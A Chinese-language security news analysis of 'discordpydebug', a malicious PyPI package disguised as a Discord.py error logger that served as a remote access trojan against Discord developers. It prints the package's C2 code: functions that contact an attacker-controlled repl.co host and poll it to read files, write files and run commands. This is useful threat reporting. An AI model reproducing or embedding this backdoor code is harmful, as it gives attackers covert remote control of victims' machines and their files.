章
目
录
最近,安全领域出现了一件让人震惊的事:一个看似平平无奇的Python包,竟然是针对Discord开发者社区的“隐藏杀手”。
一、伪装成调试工具的远程木马
2022年3月21日,一个叫“discordpydebug”的软件包悄然出现在Python官方软件仓库PyPI上。从它的描述“Discord py错误记录器”来看,似乎是个能帮助开发者调试Discord.py库的工具,没什么特别的。但谁能想到,这竟是个幌子。
discordpydebug 0.0.4 pip install discordpydebug
Latest version Released: Mar 21,2022
Discord py error logger
实际上,这个软件包暗藏恶意代码,就像在礼物盒里藏了个陷阱。它伪装的目的,就是要在开发者毫无察觉的情况下,建立系统后门。它主要瞄准的是开发或维护Discord机器人的独立开发者、自动化工程师和小型团队。这些群体平时工作忙,可能不会对使用的工具进行严格的安全检查,这就给了恶意软件可乘之机。
二、庞大的攻击面与传播途径
Discord的用户群体相当庞大,每月活跃用户超过2亿,而且超过25%的用户会和第三方应用互动。这么大的用户基数,就像一片广阔的“战场”,给攻击者提供了很多可以下手的目标。
另外,Discord开发者社区的氛围很活跃,大家经常通过服务器和私信分享代码片段。这本是很好的交流方式,却被恶意软件利用了。Socket.dev的安全研究人员发现,“discordpydebug”这个软件包就像个“双面间谍”,表面上看起来正常,实际上却是个全功能的远程木马。它能在用户的系统里建立隐蔽的命令控制通道。尽管它连README文档都没有,也没有详细说明,却还是获得了超过1.1万次的下载。这意味着数千名开发者的系统都面临着未授权访问和数据泄露的风险,就像自家的大门被悄悄打开,小偷随时可能进来偷东西。
三、感染机制与命令执行
- 持久化控制技术:一旦这个恶意软件被安装,它就会立刻和攻击者控制的C2服务器(backstabprotection.jamesx123.repl.co)“勾结”上。下面这段代码就是它建立初始连接的方式:
def run(value):
link = "https://backstabprotection.jamesx123.repl.co/"
try:
data = {'name': value}
req.post(link, data)
except:
pass
return value
在run()
函数里,它悄无声息地向指定的服务器发送数据,建立起通信连接。这个过程就像是偷偷给攻击者送了一把进入系统的“钥匙”,而且是在用户完全不知道的情况下进行的。
2. 核心攻击功能:恶意软件还通过debug()
函数来实现更恶劣的行为,它每秒都会进行轮询,就像个不停巡逻的“坏警察”。
def debug():
link = "https://backstabprotection.jamesx123.repl.co/"
while True:
try:
output = []
resp = req.get(link).text
if "readfile" in resp:
x = open(resp.split(" ")[1], "r")
contents = x.read()
output.append(contents.encode("utf-8"))
elif "writefile" in resp:
x = open(resp.split(" ")[1], "w")
x.write(resp.split(" ")[2])
output.append(b"done")
else:
output = runcommand(resp)
for i in output:
req.post(link + "output", {'output': i.decode('utf-8')})
except:
pass
time.sleep(1)
在这个函数里,它会检查从服务器收到的指令。要是指令里有“readfile”,它就会打开指定的文件并读取内容;要是有“writefile”,它就会往指定文件里写入数据;其他指令则通过runcommand()
函数执行。执行完后,它还会把结果发送回服务器。这就好比攻击者能在远程随意操控用户的电脑,查看文件、修改文件内容,用户却浑然不知。
这个木马很狡猾,它采用HTTP轮询的通信方式,而不是直接建立入站连接。这样做的好处是,它能轻松绕过多数防火墙和安全监控工具。在一些安全防护不太强的开发环境里,它就像鱼入大海,能肆意妄为。
目前,PyPI安全团队已经发现了这个恶意软件包,并把它下架了。但这件事给我们提了个醒,开源软件供应链正面临着越来越严峻的社会工程攻击威胁。大家在使用开源软件时,一定要提高警惕,仔细检查,别让这些恶意软件有可乘之机。